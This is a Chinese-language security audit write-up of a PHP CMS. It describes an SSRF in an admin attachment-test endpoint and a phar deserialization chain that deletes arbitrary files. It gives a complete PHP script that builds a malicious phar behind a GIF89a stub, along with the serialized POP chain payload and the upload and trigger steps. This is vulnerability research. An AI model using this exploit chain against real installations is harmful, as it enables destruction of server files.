原文首发在:奇安信攻防社区
https://forum.butian.net/share/3846
一开始心血来潮想审计PHP系统,于是网上找了找一些开源比较知名的系统,于是找到了某CMS最新版,通过观察最近好像没出过什么大洞,于是想审计一下,跟随之前大佬挖漏洞的思路,尝试挖掘一下最新版的漏洞。其中会涉及到一些漏洞基础原理,关键部分会进行模糊处理,希望各位大佬理解,菜鸡一枚,勿喷/(ㄒoㄒ)/~~
SSRF漏洞原理
SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者通过引诱服务器发起请求到内部系统或者网络中的其他服务器。SSRF漏洞的发生是因为服务端提供了从外部系统获取数据的功能,但是没有对请求进行合适的限制,导致攻击者可以指定请求的目标,并可能获取到内部网络的数据。
概述
一开始心血来潮想审计PHP系统,于是网上找了找一些开源比较知名的系统,于是找到了某CMS最新版,通过观察最近好像没出过什么大洞,于是想审计一下,跟随之前大佬挖漏洞的思路,尝试挖掘一下最新版的漏洞。其中会涉及到一些漏洞基础原理,关键部分会进行模糊处理,希望各位大佬理解,菜鸡一枚,勿喷/(ㄒoㄒ)/~~ 下面开始审计分析
dr_catcher_data
这里我们定位到/Fcms/Core/Helper.php
函数部分代码
* 调用远程数据 curl获取
*
* @param $url
* @param $timeout 超时时间,0不超时
* @param $is_log 0表示请求失败不记录到系统日志中
* @param $ct 0表示不尝试重试,1表示重试一次
* @return 请求结果值
*/
function dr_catcher_data($url, $timeout = 0, $is_log = true, $ct = 0) {
if (!$url) {
return '';
}
// 获取本地文件
if (strpos($url, 'file://') === 0) {
return file_get_contents($url);
} elseif (strpos($url, '/') === 0 && is_file(WEBPATH.$url)) {
return file_get_contents(WEBPATH.$url);
} elseif (!dr_is_url($url)) {
if (CI_DEBUG && $is_log) {
log_message('error', '获取远程数据失败['.$url.']:地址前缀要求是http开头');
}
return '';
}
触发SSRF漏洞点
test_attach
/Fms/Control/Admin/Api.php
test_attach
下面是代码部分
/**
* 测试远程附件
*/
public function test_attach() {
$data = PhpcmfService::L('input')->post('data');
if (!$data) {
$this->_json(0, dr_lang('参数错误'));
}
$type = intval($data['type']);
$value = $data['value'][$type];
if (!$value) {
$this->_json(0, dr_lang('参数不存在'));
} elseif ($type == 0) {
if (substr($value['path'],-1, 1) != '/') {
$this->_json(0, dr_lang('存储路径目录一定要以“/”结尾'));
} elseif ((dr_strpos($value['path'], '/') === 0 || dr_strpos($value['path'], ':') !== false)) {
if (!is_dir($value['path'])) {
$this->_json(0, dr_lang('本地路径[%s]不存在', $value['path']));
}
} elseif (is_dir(SYS_UPLOAD_PATH.$value['path'])) {
} else {
$this->_json(0, dr_lang('本地路径[%s]不存在', SYS_UPLOAD_PATH.$value['path']));
}
}
$rt = PhpcmfService::L('upload')->save_file(
'content',
'this is phpcmf file-test',
'test/test.txt',
[
'id' => 0,
'url' => $data['url'],
'type' => $type,
'value' => $value,
]
);
if (!$rt['code']) {
$this->_json(0, $rt['msg']);
} elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false) {
$this->_json(1, dr_lang('测试成功:%s', $rt['data']['url']));
}
$this->_json(0, dr_lang('无法访问到附件: %s', $rt['data']['url']));
}
分析得到,下面
$data = PhpcmfService::L('input')->post('data');
elseif (strpos(dr_catcher_data($rt['data']['url']), 'phpcmf') !== false)
POST
请求中,data['url']
途中没有任何过滤 就给到了 dr_catcher_data()
函数,但是dr_catcher_data
函数可以处理file
,Http
等协议的函数封装。如封装了,file_get_contents
、curl_exec
等。造成了SSRF
的漏洞
反序列化
任意文件删除
phar反序列化漏洞点
我们直接找 文件函数:is_dir
,file_exist
等等
在源码路径:/Fms/Control/Admin/Api.php
里面
其实很多个功能都存在phar
反序列化触发点
test_attach
test_attach_domain
后面主要是以:test_attach_domain
来作利用
POP查找
链一(失败)
序列化代码
需要第一类来new一下
namespace CodeIgniterPublisher;
class Publisher
{
public $scratch = "../1";
//通过__destruct触发 delete scratch
//通过new 对象 触发__construct helper('filesystem'),因为deltete用到了filesystem方法。
}
namespace CodeIgniterCacheHandlers;
class MemcachedHandler
{
public $prefix;
public __construct()
{
this->$prefix = new CodeIgniterPublisherPublisher(); //触发构造方法 和 销毁方法
}
}
var_dump(serialize(new MemcachedHandler()))
POP链
Publisher:construc.helper(['filesystem'])->destruct()-> wipeDirectory()->delete_files()
detele_files()
函数 需要由引入 helper(['filesystem'])
;
思路:通过 MemcachedHandler
任意属性 调用new Publisher
触发 helper('filesystem')
引入delete_files()
类
分析
先看看几个重要的方法(简化)
Publisher
_construct方法()
helper(['filesystem']);
_destruct()方法
public function __destruct()
{
self::wipeDirectory($this->scratch);
}
wipeDirectory
方法
private static function wipeDirectory(string $directory): void
{
$attempts = 10;
while ((bool) $attempts && ! delete_files($directory, true, false, true)) {
$attempts--;
}
@rmdir($directory);
}
失败原因
显示delete_files()不存在
总结
反序列化过程,不会创建对象。不管序列化中new在何处,也只是告诉解析器 new这个位置 需要替换 该类型对象的属性。
反序列化原理:创建空对象,把属性值传递进去(本质,属性替换)
链子二
序列化代码
<?php
//=======实现delete方法有,unlink(this->$path.$this->prefix.$lockkey)
namespace CodeIgniterCacheHandlers;
class FileHandler
{
public $prefix;
public $path;
public function __construct()
{
$this->prefix='';
$this->path='';
}
}
//=======MemcachedHandler中close()有$this->memcached->delete($this->lockKey)
namespace CodeIgniterSessionHandlers;
class MemcachedHandler
{
public $lockKey; //传入delete()的值
public $memcached;
public function __construct()
{
//$this->memcached->detele($this->lockKey);
$this->lockKey = "D:\phpstudy_pro\WWW\test.test"; //文件路径
$this->memcached = new CodeIgniterCacheHandlersFileHandler(); //触发下一个delete
}
}
//==========RedisHandler中destruct有this->redis->close()
namespace CodeIgniterCacheHandlers;
class RedisHandler
{
public $redis;
public function __construct()
{
$this->redis = new CodeIgniterSessionHandlersMemcachedHandler(); //指向MemcachedHandler对象
}
//因为后续有 this->redis->close()操作,可以用MemcachedHandler的close函数。
}
$o = new new RedisHandler());
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
序列化字符串
string(275) "O:39:"CodeIgniterCacheHandlersRedisHandler":1:{s:5:"redis";O:45:"CodeIgniterSessionHandlersMemcachedHandler":2:{s:9:"memcached";O:38:"CodeIgniterCacheHandlersFileHandler":2:{s:6:"prefix";s:0:"";s:4:"path";s:0:"";}s:7:"lockKey";s:29:"D:phpstudy_proWWWtest.test";}}"
POP链
RedisHandler __destruct() -> MemcachedHandler close() -> FileHandler delete()
分析
RedisHandler
__destruct
调用了$this->redis->close()
public function __destruct()
{
if (isset($this->redis)) {
$this->redis->close();
}
}
redis改为 MemcachedHandle对象
MemcachedHandler
实现close()
public function close(): bool
{
if (isset($this->memcached)) {
if (isset($this->lockKey)) {
$this->memcached->delete($this->lockKey);
}
if (! $this->memcached->quit()) {
return false;
}
$this->memcached = null;
return true;
}
return false;
}
找delete
,存在 $this->memcached->delete($this->lockKey)
FileHandler
namespace CodeIgniterCacheHandlers;
public function delete(string $key)
{
$key = static::validateKey($key, $this->prefix);
return is_file($this->path . $key) && unlink($this->path . $key);
}
实现了 unlink文件删除的功能,路径构成:$this->path->$key->$this->prefix
$key
由外部传进来的,为了方便控制,我们直接让外部的$key
为删除文件路径。path
和prefix
为空即可。
同时,$key
为 MemcachedHandler
的lockKey
总结
找POP
链的时候,需要无限套娃,一个对象套一个对象。可以利用的类一般是需要有命名空间。我们第一步找到 destruct
方法,看看destruct
观察:可控变量与方法。第二步:1.根据方法,全局搜索实现的类 2.根据方法传入参数个数类型,全局找到使用__call
魔术方法的类进行分析。第三步,无限套娃 找到能够触发我们目标功能(RCE,任意文件删除,任意文件写入等等)
Phar反序列化任意文件删除利用
准备工作
漏洞点在 Controler/Admin/Api.php
http://xunruicms-study/admina516ce184c2e.php?c=Api&m=test_attach_domain
phar://D:/phpstudy_pro/WWW/phar.jpg/test.txt
生成phar
利用文件脚本
<?php
//=======实现delete方法有,unlink(this->$path.$this->prefix.$lockkey)
namespace CodeIgniterCacheHandlers;
class FileHandler
{
public $prefix;
public $path;
public function __construct()
{
$this->prefix='';
$this->path='';
}
}
//=======MemcachedHandler中close()有$this->memcached->delete($this->lockKey)
namespace CodeIgniterSessionHandlers;
class MemcachedHandler
{
public $lockKey; //传入delete()的值
public $memcached;
public function __construct()
{
//$this->memcached->detele($this->lockKey);
$this->lockKey = "D:\phpstudy_pro\WWW\test.test"; //删除的文件路径
$this->memcached = new CodeIgniterCacheHandlersFileHandler(); //触发下一个delete
}
}
//==========RedisHandler中destruct有this->redis->close()
namespace CodeIgniterCacheHandlers;
use Phar;
class RedisHandler
{
public $redis;
public function __construct()
{
$this->redis = new CodeIgniterSessionHandlersMemcachedHandler(); //指向MemcachedHandler对象
}
//因为后续有 this->redis->close()操作,可以用MemcachedHandler的close函数。
}
$o = new RedisHandler();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($o); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
?>
利用过程
phar
文件上传点
(原本想试试头像上传的,发现文件被压缩,就找了个上传附件的位置)
http://xunruicms-study/index.php?s=member&app=news&c=home&m=add
第一步,来到文章发布的后台(需要有附件上传权限)
发布内容中,下面有个附件上传
这里可以显示上传的内容(zip,rar,txt,doc),我们只需要把phar.phar包 该后缀满足白名单就行,我改为phar.txt
点击上传后的附件,会弹出一个url。我们只需要拿到 /upload
后面的构造phar://
语句
phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt
Phar反序列化点
备注
:test_attach_domain
函数作为利用点。
需要反序列化执行的命令
phar://uploadfile/202407/de5d2812b5ba390.txt/test.txt
到这边,需要选择完整模式 -> 系统附件设置 -> 附件上传目录(输入我们的命令) 点击检测
反序列化出来了我们的FileHandler对象,说明反序列化攻击成功,我们的文件也成功被删除
原文始发于微信公众号(亿人安全):记一次某CMS反序列化任意文件删除的审计过程
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论